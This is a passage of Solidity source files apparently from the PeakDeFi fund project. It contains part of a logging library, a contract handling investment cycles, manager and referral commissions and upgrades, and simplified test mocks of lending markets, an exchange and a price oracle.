function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
pragma solidity 0.5.17;
import "./PeakDeFiStorage.sol";
contract PeakDeFiLogic3 is
PeakDeFiStorage,
Utils(address(0), address(0), address(0))
{
/**
* @notice Passes if the fund has not finalized the next smart contract to upgrade to
*/
modifier notReadyForUpgrade {
require(hasFinalizedNextVersion == false);
_;
}
/**
* @notice Executes function only during the given cycle phase.
* @param phase the cycle phase during which the function may be called
*/
modifier during(CyclePhase phase) {
require(cyclePhase == phase);
if (cyclePhase == CyclePhase.Intermission) {
require(isInitialized);
}
_;
}
/**
* Next phase transition handler
* @notice Moves the fund to the next phase in the investment cycle.
*/
function nextPhase() public nonReentrant {
require(
now >= startTimeOfCyclePhase.add(phaseLengths[uint256(cyclePhase)])
);
if (isInitialized == false) {
// first cycle of this smart contract deployment
// check whether ready for starting cycle
isInitialized = true;
require(proxyAddr != address(0)); // has initialized proxy
require(proxy.peakdefiFundAddress() == address(this)); // upgrade complete
require(hasInitializedTokenListings); // has initialized token listings
// execute initialization function
__init();
require(
previousVersion == address(0) ||
(previousVersion != address(0) &&
getBalance(usdc, address(this)) > 0)
); // has transfered assets from previous version
} else {
// normal phase changing
if (cyclePhase == CyclePhase.Intermission) {
require(hasFinalizedNextVersion == false); // Shouldn't progress to next phase if upgrading
// Update total funds at management phase's beginning
totalFundsAtManagePhaseStart = totalFundsInUSDC;
// reset number of managers onboarded
managersOnboardedThisCycle = 0;
} else if (cyclePhase == CyclePhase.Manage) {
// Burn any RepToken left in PeakDeFiFund's account
require(
cToken.destroyTokens(
address(this),
cToken.balanceOf(address(this))
)
);
// Pay out commissions and fees
uint256 profit = 0;
uint256 usdcBalanceAtManagePhaseStart
= totalFundsAtManagePhaseStart.add(totalCommissionLeft);
if (
getBalance(usdc, address(this)) >
usdcBalanceAtManagePhaseStart
) {
profit = getBalance(usdc, address(this)).sub(
usdcBalanceAtManagePhaseStart
);
}
totalFundsInUSDC = getBalance(usdc, address(this))
.sub(totalCommissionLeft)
.sub(peakReferralTotalCommissionLeft);
// Calculate manager commissions
uint256 commissionThisCycle = COMMISSION_RATE
.mul(profit)
.add(ASSET_FEE_RATE.mul(totalFundsInUSDC))
.div(PRECISION);
_totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle(
cycleNumber
)
.add(commissionThisCycle); // account for penalties
totalCommissionLeft = totalCommissionLeft.add(
commissionThisCycle
);
// Calculate referrer commissions
uint256 peakReferralCommissionThisCycle = PEAK_COMMISSION_RATE
.mul(profit)
.mul(peakReferralToken.totalSupply())
.div(sToken.totalSupply())
.div(PRECISION);
_peakReferralTotalCommissionOfCycle[cycleNumber] = peakReferralTotalCommissionOfCycle(
cycleNumber
)
.add(peakReferralCommissionThisCycle);
peakReferralTotalCommissionLeft = peakReferralTotalCommissionLeft
.add(peakReferralCommissionThisCycle);
totalFundsInUSDC = getBalance(usdc, address(this))
.sub(totalCommissionLeft)
.sub(peakReferralTotalCommissionLeft);
// Give the developer PeakDeFi shares inflation funding
uint256 devFunding = devFundingRate
.mul(sToken.totalSupply())
.div(PRECISION);
require(sToken.generateTokens(devFundingAccount, devFunding));
// Emit event
emit TotalCommissionPaid(
cycleNumber,
totalCommissionOfCycle(cycleNumber)
);
emit PeakReferralTotalCommissionPaid(
cycleNumber,
peakReferralTotalCommissionOfCycle(cycleNumber)
);
_managePhaseEndBlock[cycleNumber] = block.number;
// Clear/update upgrade related data
if (nextVersion == address(this)) {
// The developer proposed a candidate, but the managers decide to not upgrade at all
// Reset upgrade process
delete nextVersion;
delete hasFinalizedNextVersion;
}
if (nextVersion != address(0)) {
hasFinalizedNextVersion = true;
emit FinalizedNextVersion(cycleNumber, nextVersion);
}
// Start new cycle
cycleNumber = cycleNumber.add(1);
}
cyclePhase = CyclePhase(addmod(uint256(cyclePhase), 1, 2));
}
startTimeOfCyclePhase = now;
// Reward caller if they're a manager
if (cToken.balanceOf(msg.sender) > 0) {
require(cToken.generateTokens(msg.sender, NEXT_PHASE_REWARD));
}
emit ChangedPhase(
cycleNumber,
uint256(cyclePhase),
now,
totalFundsInUSDC
);
}
/**
* @notice Initializes several important variables after smart contract upgrade
*/
function __init() internal {
_managePhaseEndBlock[cycleNumber.sub(1)] = block.number;
// load values from previous version
totalCommissionLeft = previousVersion == address(0)
? 0
: PeakDeFiStorage(previousVersion).totalCommissionLeft();
totalFundsInUSDC = getBalance(usdc, address(this)).sub(
totalCommissionLeft
);
}
/**
* Upgrading functions
*/
/**
* @notice Allows the developer to propose a candidate smart contract for the fund to upgrade to.
* The developer may change the candidate during the Intermission phase.
* @param _candidate the address of the candidate smart contract
* @return True if successfully changed candidate, false otherwise.
*/
function developerInitiateUpgrade(address payable _candidate)
public
onlyOwner
notReadyForUpgrade
during(CyclePhase.Intermission)
nonReentrant
returns (bool _success)
{
if (_candidate == address(0) || _candidate == address(this)) {
return false;
}
nextVersion = _candidate;
emit DeveloperInitiatedUpgrade(cycleNumber, _candidate);
return true;
}
/**
Commission functions
*/
/**
* @notice Returns the commission balance of `_manager`
* @return the commission balance and the received penalty, denoted in USDC
*/
function commissionBalanceOf(address _manager)
public
view
returns (uint256 _commission, uint256 _penalty)
{
if (lastCommissionRedemption(_manager) >= cycleNumber) {
return (0, 0);
}
uint256 cycle = lastCommissionRedemption(_manager) > 0
? lastCommissionRedemption(_manager)
: 1;
uint256 cycleCommission;
uint256 cyclePenalty;
for (; cycle < cycleNumber; cycle++) {
(cycleCommission, cyclePenalty) = commissionOfAt(_manager, cycle);
_commission = _commission.add(cycleCommission);
_penalty = _penalty.add(cyclePenalty);
}
}
/**
* @notice Returns the commission amount received by `_manager` in the `_cycle`th cycle
* @return the commission amount and the received penalty, denoted in USDC
*/
function commissionOfAt(address _manager, uint256 _cycle)
public
view
returns (uint256 _commission, uint256 _penalty)
{
if (hasRedeemedCommissionForCycle(_manager, _cycle)) {
return (0, 0);
}
// take risk into account
uint256 baseRepTokenBalance = cToken.balanceOfAt(
_manager,
managePhaseEndBlock(_cycle.sub(1))
);
uint256 baseStake = baseRepTokenBalance == 0
? baseRiskStakeFallback(_manager)
: baseRepTokenBalance;
if (baseRepTokenBalance == 0 && baseRiskStakeFallback(_manager) == 0) {
return (0, 0);
}
uint256 riskTakenProportion = riskTakenInCycle(_manager, _cycle)
.mul(PRECISION)
.div(baseStake.mul(MIN_RISK_TIME)); // risk / threshold
riskTakenProportion = riskTakenProportion > PRECISION
? PRECISION
: riskTakenProportion; // max proportion is 1
uint256 fullCommission = totalCommissionOfCycle(_cycle)
.mul(cToken.balanceOfAt(_manager, managePhaseEndBlock(_cycle)))
.div(cToken.totalSupplyAt(managePhaseEndBlock(_cycle)));
_commission = fullCommission.mul(riskTakenProportion).div(PRECISION);
_penalty = fullCommission.sub(_commission);
}
/**
* @notice Redeems commission.
*/
function redeemCommission(bool _inShares)
public
during(CyclePhase.Intermission)
nonReentrant
{
uint256 commission = __redeemCommission();
if (_inShares) {
// Deposit commission into fund
__deposit(commission);
// Emit deposit event
emit Deposit(
cycleNumber,
msg.sender,
USDC_ADDR,
commission,
commission,
now
);
} else {
// Transfer the commission in USDC
usdc.safeTransfer(msg.sender, commission);
}
}
/**
* @notice Redeems commission for a particular cycle.
* @param _inShares true to redeem in PeakDeFi Shares, false to redeem in USDC
* @param _cycle the cycle for which the commission will be redeemed.
* Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber.
*/
function redeemCommissionForCycle(bool _inShares, uint256 _cycle)
public
during(CyclePhase.Intermission)
nonReentrant
{
require(_cycle < cycleNumber);
uint256 commission = __redeemCommissionForCycle(_cycle);
if (_inShares) {
// Deposit commission into fund
__deposit(commission);
// Emit deposit event
emit Deposit(
cycleNumber,
msg.sender,
USDC_ADDR,
commission,
commission,
now
);
} else {
// Transfer the commission in USDC
usdc.safeTransfer(msg.sender, commission);
}
}
/**
* @notice Redeems the commission for all previous cycles. Updates the related variables.
* @return the amount of commission to be redeemed
*/
function __redeemCommission() internal returns (uint256 _commission) {
require(lastCommissionRedemption(msg.sender) < cycleNumber);
uint256 penalty; // penalty received for not taking enough risk
(_commission, penalty) = commissionBalanceOf(msg.sender);
// record the redemption to prevent double-redemption
for (
uint256 i = lastCommissionRedemption(msg.sender);
i < cycleNumber;
i++
) {
_hasRedeemedCommissionForCycle[msg.sender][i] = true;
}
_lastCommissionRedemption[msg.sender] = cycleNumber;
// record the decrease in commission pool
totalCommissionLeft = totalCommissionLeft.sub(_commission);
// include commission penalty to this cycle's total commission pool
_totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle(
cycleNumber
)
.add(penalty);
// clear investment arrays to save space
delete userInvestments[msg.sender];
delete userCompoundOrders[msg.sender];
emit CommissionPaid(cycleNumber, msg.sender, _commission);
}
/**
* @notice Redeems commission for a particular cycle. Updates the related variables.
* @param _cycle the cycle for which the commission will be redeemed
* @return the amount of commission to be redeemed
*/
function __redeemCommissionForCycle(uint256 _cycle)
internal
returns (uint256 _commission)
{
require(!hasRedeemedCommissionForCycle(msg.sender, _cycle));
uint256 penalty; // penalty received for not taking enough risk
(_commission, penalty) = commissionOfAt(msg.sender, _cycle);
_hasRedeemedCommissionForCycle[msg.sender][_cycle] = true;
// record the decrease in commission pool
totalCommissionLeft = totalCommissionLeft.sub(_commission);
// include commission penalty to this cycle's total commission pool
_totalCommissionOfCycle[cycleNumber] = totalCommissionOfCycle(
cycleNumber
)
.add(penalty);
// clear investment arrays to save space
delete userInvestments[msg.sender];
delete userCompoundOrders[msg.sender];
emit CommissionPaid(_cycle, msg.sender, _commission);
}
/**
* @notice Handles deposits by minting PeakDeFi Shares & updating total funds.
* @param _depositUSDCAmount The amount of the deposit in USDC
*/
function __deposit(uint256 _depositUSDCAmount) internal {
// Register investment and give shares
if (sToken.totalSupply() == 0 || totalFundsInUSDC == 0) {
require(sToken.generateTokens(msg.sender, _depositUSDCAmount));
} else {
require(
sToken.generateTokens(
msg.sender,
_depositUSDCAmount.mul(sToken.totalSupply()).div(
totalFundsInUSDC
)
)
);
}
totalFundsInUSDC = totalFundsInUSDC.add(_depositUSDCAmount);
}
/**
PeakDeFi
*/
/**
* @notice Returns the commission balance of `_referrer`
* @return the commission balance, denoted in USDC
*/
function peakReferralCommissionBalanceOf(address _referrer)
public
view
returns (uint256 _commission)
{
if (peakReferralLastCommissionRedemption(_referrer) >= cycleNumber) {
return (0);
}
uint256 cycle = peakReferralLastCommissionRedemption(_referrer) > 0
? peakReferralLastCommissionRedemption(_referrer)
: 1;
uint256 cycleCommission;
for (; cycle < cycleNumber; cycle++) {
(cycleCommission) = peakReferralCommissionOfAt(_referrer, cycle);
_commission = _commission.add(cycleCommission);
}
}
/**
* @notice Returns the commission amount received by `_referrer` in the `_cycle`th cycle
* @return the commission amount, denoted in USDC
*/
function peakReferralCommissionOfAt(address _referrer, uint256 _cycle)
public
view
returns (uint256 _commission)
{
_commission = peakReferralTotalCommissionOfCycle(_cycle)
.mul(
peakReferralToken.balanceOfAt(
_referrer,
managePhaseEndBlock(_cycle)
)
)
.div(peakReferralToken.totalSupplyAt(managePhaseEndBlock(_cycle)));
}
/**
* @notice Redeems commission.
*/
function peakReferralRedeemCommission()
public
during(CyclePhase.Intermission)
nonReentrant
{
uint256 commission = __peakReferralRedeemCommission();
// Transfer the commission in USDC
usdc.safeApprove(address(peakReward), commission);
peakReward.payCommission(msg.sender, address(usdc), commission, false);
}
/**
* @notice Redeems commission for a particular cycle.
* @param _cycle the cycle for which the commission will be redeemed.
* Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber.
*/
function peakReferralRedeemCommissionForCycle(uint256 _cycle)
public
during(CyclePhase.Intermission)
nonReentrant
{
require(_cycle < cycleNumber);
uint256 commission = __peakReferralRedeemCommissionForCycle(_cycle);
// Transfer the commission in USDC
usdc.safeApprove(address(peakReward), commission);
peakReward.payCommission(msg.sender, address(usdc), commission, false);
}
/**
* @notice Redeems the commission for all previous cycles. Updates the related variables.
* @return the amount of commission to be redeemed
*/
function __peakReferralRedeemCommission()
internal
returns (uint256 _commission)
{
require(peakReferralLastCommissionRedemption(msg.sender) < cycleNumber);
_commission = peakReferralCommissionBalanceOf(msg.sender);
// record the redemption to prevent double-redemption
for (
uint256 i = peakReferralLastCommissionRedemption(msg.sender);
i < cycleNumber;
i++
) {
_peakReferralHasRedeemedCommissionForCycle[msg.sender][i] = true;
}
_peakReferralLastCommissionRedemption[msg.sender] = cycleNumber;
// record the decrease in commission pool
peakReferralTotalCommissionLeft = peakReferralTotalCommissionLeft.sub(
_commission
);
emit PeakReferralCommissionPaid(cycleNumber, msg.sender, _commission);
}
/**
* @notice Redeems commission for a particular cycle. Updates the related variables.
* @param _cycle the cycle for which the commission will be redeemed
* @return the amount of commission to be redeemed
*/
function __peakReferralRedeemCommissionForCycle(uint256 _cycle)
internal
returns (uint256 _commission)
{
require(!peakReferralHasRedeemedCommissionForCycle(msg.sender, _cycle));
_commission = peakReferralCommissionOfAt(msg.sender, _cycle);
_peakReferralHasRedeemedCommissionForCycle[msg.sender][_cycle] = true;
// record the decrease in commission pool
peakReferralTotalCommissionLeft = peakReferralTotalCommissionLeft.sub(
_commission
);
emit PeakReferralCommissionPaid(_cycle, msg.sender, _commission);
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "../interfaces/CERC20.sol";
import "../interfaces/Comptroller.sol";
contract TestCERC20 is CERC20 {
using SafeMath for uint;
uint public constant PRECISION = 10 ** 18;
uint public constant MAX_UINT = 2 ** 256 - 1;
address public _underlying;
uint public _exchangeRateCurrent = 10 ** (18 - 8) * PRECISION;
mapping(address => uint) public _balanceOf;
mapping(address => uint) public _borrowBalanceCurrent;
Comptroller public COMPTROLLER;
constructor(address __underlying, address _comptrollerAddr) public {
_underlying = __underlying;
COMPTROLLER = Comptroller(_comptrollerAddr);
}
function mint(uint mintAmount) external returns (uint) {
ERC20Detailed token = ERC20Detailed(_underlying);
require(token.transferFrom(msg.sender, address(this), mintAmount));
_balanceOf[msg.sender] = _balanceOf[msg.sender].add(mintAmount.mul(10 ** this.decimals()).div(PRECISION));
return 0;
}
function redeemUnderlying(uint redeemAmount) external returns (uint) {
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(redeemAmount.mul(10 ** this.decimals()).div(PRECISION));
ERC20Detailed token = ERC20Detailed(_underlying);
require(token.transfer(msg.sender, redeemAmount));
return 0;
}
function borrow(uint amount) external returns (uint) {
// add to borrow balance
_borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].add(amount);
// transfer asset
ERC20Detailed token = ERC20Detailed(_underlying);
require(token.transfer(msg.sender, amount));
return 0;
}
function repayBorrow(uint amount) external returns (uint) {
// accept repayment
ERC20Detailed token = ERC20Detailed(_underlying);
uint256 repayAmount = amount == MAX_UINT ? _borrowBalanceCurrent[msg.sender] : amount;
require(token.transferFrom(msg.sender, address(this), repayAmount));
// subtract from borrow balance
_borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].sub(repayAmount);
return 0;
}
function balanceOf(address account) external view returns (uint) { return _balanceOf[account]; }
function borrowBalanceCurrent(address account) external returns (uint) { return _borrowBalanceCurrent[account]; }
function underlying() external view returns (address) { return _underlying; }
function exchangeRateCurrent() external returns (uint) { return _exchangeRateCurrent; }
function decimals() external view returns (uint) { return 8; }
}
pragma solidity 0.5.17;
import "./TestCERC20.sol";
contract TestCERC20Factory {
mapping(address => address) public createdTokens;
event CreatedToken(address underlying, address cToken);
function newToken(address underlying, address comptroller) public returns(address) {
require(createdTokens[underlying] == address(0));
TestCERC20 token = new TestCERC20(underlying, comptroller);
createdTokens[underlying] = address(token);
emit CreatedToken(underlying, address(token));
return address(token);
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/CEther.sol";
import "../interfaces/Comptroller.sol";
contract TestCEther is CEther {
using SafeMath for uint;
uint public constant PRECISION = 10 ** 18;
uint public _exchangeRateCurrent = 10 ** (18 - 8) * PRECISION;
mapping(address => uint) public _balanceOf;
mapping(address => uint) public _borrowBalanceCurrent;
Comptroller public COMPTROLLER;
constructor(address _comptrollerAddr) public {
COMPTROLLER = Comptroller(_comptrollerAddr);
}
function mint() external payable {
_balanceOf[msg.sender] = _balanceOf[msg.sender].add(msg.value.mul(10 ** this.decimals()).div(PRECISION));
}
function redeemUnderlying(uint redeemAmount) external returns (uint) {
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(redeemAmount.mul(10 ** this.decimals()).div(PRECISION));
msg.sender.transfer(redeemAmount);
return 0;
}
function borrow(uint amount) external returns (uint) {
// add to borrow balance
_borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].add(amount);
// transfer asset
msg.sender.transfer(amount);
return 0;
}
function repayBorrow() external payable {
_borrowBalanceCurrent[msg.sender] = _borrowBalanceCurrent[msg.sender].sub(msg.value);
}
function balanceOf(address account) external view returns (uint) { return _balanceOf[account]; }
function borrowBalanceCurrent(address account) external returns (uint) { return _borrowBalanceCurrent[account]; }
function exchangeRateCurrent() external returns (uint) { return _exchangeRateCurrent; }
function decimals() external view returns (uint) { return 8; }
function() external payable {}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/Comptroller.sol";
import "../interfaces/PriceOracle.sol";
import "../interfaces/CERC20.sol";
contract TestComptroller is Comptroller {
using SafeMath for uint;
uint256 internal constant PRECISION = 10 ** 18;
mapping(address => address[]) public getAssetsIn;
uint256 internal collateralFactor = 2 * PRECISION / 3;
constructor() public {}
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory) {
uint[] memory errors = new uint[](cTokens.length);
for (uint256 i = 0; i < cTokens.length; i = i.add(1)) {
getAssetsIn[msg.sender].push(cTokens[i]);
errors[i] = 0;
}
return errors;
}
function markets(address /*cToken*/) external view returns (bool isListed, uint256 collateralFactorMantissa) {
return (true, collateralFactor);
}
}
pragma solidity 0.5.17;
import "../interfaces/KyberNetwork.sol";
import "../Utils.sol";
import "@openzeppelin/contracts/ownership/Ownable.sol";
contract TestKyberNetwork is KyberNetwork, Utils(address(0), address(0), address(0)), Ownable {
mapping(address => uint256) public priceInUSDC;
constructor(address[] memory _tokens, uint256[] memory _pricesInUSDC) public {
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
priceInUSDC[_tokens[i]] = _pricesInUSDC[i];
}
}
function setTokenPrice(address _token, uint256 _priceInUSDC) public onlyOwner {
priceInUSDC[_token] = _priceInUSDC;
}
function setAllTokenPrices(address[] memory _tokens, uint256[] memory _pricesInUSDC) public onlyOwner {
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
priceInUSDC[_tokens[i]] = _pricesInUSDC[i];
}
}
function getExpectedRate(ERC20Detailed src, ERC20Detailed dest, uint /*srcQty*/) external view returns (uint expectedRate, uint slippageRate)
{
uint256 result = priceInUSDC[address(src)].mul(10**getDecimals(dest)).mul(PRECISION).div(priceInUSDC[address(dest)].mul(10**getDecimals(src)));
return (result, result);
}
function tradeWithHint(
ERC20Detailed src,
uint srcAmount,
ERC20Detailed dest,
address payable destAddress,
uint maxDestAmount,
uint /*minConversionRate*/,
address /*walletId*/,
bytes calldata /*hint*/
)
external
payable
returns(uint)
{
require(calcDestAmount(src, srcAmount, dest) <= maxDestAmount);
if (address(src) == address(ETH_TOKEN_ADDRESS)) {
require(srcAmount == msg.value);
} else {
require(src.transferFrom(msg.sender, address(this), srcAmount));
}
if (address(dest) == address(ETH_TOKEN_ADDRESS)) {
destAddress.transfer(calcDestAmount(src, srcAmount, dest));
} else {
require(dest.transfer(destAddress, calcDestAmount(src, srcAmount, dest)));
}
return calcDestAmount(src, srcAmount, dest);
}
function calcDestAmount(
ERC20Detailed src,
uint srcAmount,
ERC20Detailed dest
) internal view returns (uint destAmount) {
return srcAmount.mul(priceInUSDC[address(src)]).mul(10**getDecimals(dest)).div(priceInUSDC[address(dest)].mul(10**getDecimals(src)));
}
function() external payable {}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "../interfaces/PriceOracle.sol";
import "../interfaces/CERC20.sol";
contract TestPriceOracle is PriceOracle, Ownable {
using SafeMath for uint;
uint public constant PRECISION = 10 ** 18;
address public CETH_ADDR;
mapping(address => uint256) public priceInUSD;
constructor(address[] memory _tokens, uint256[] memory _pricesInUSD, address _cETH) public {
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
priceInUSD[_tokens[i]] = _pricesInUSD[i];
}
CETH_ADDR = _cETH;
}
function setTokenPrice(address _token, uint256 _priceInUSD) public onlyOwner {
priceInUSD[_token] = _priceInUSD;
}
function getUnderlyingPrice(address _cToken) external view returns (uint) {
if (_cToken == CETH_ADDR) {
return priceInUSD[_cToken];
}
CERC20 cToken = CERC20(_cToken);
ERC20Detailed underlying = ERC20Detailed(cToken.underlying());
return priceInUSD[_cToken].mul(PRECISION).div(10 ** uint256(underlying.decimals()));
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/token/ERC20/ERC20Mintable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
/**
* @title An ERC20 token used for testing.
* @author Zefram Lou (Zebang Liu)
*/
contract TestToken is ERC20Mintable, ERC20Burnable, ERC20Detailed {
constructor(string memory name, string memory symbol, uint8 decimals)
public
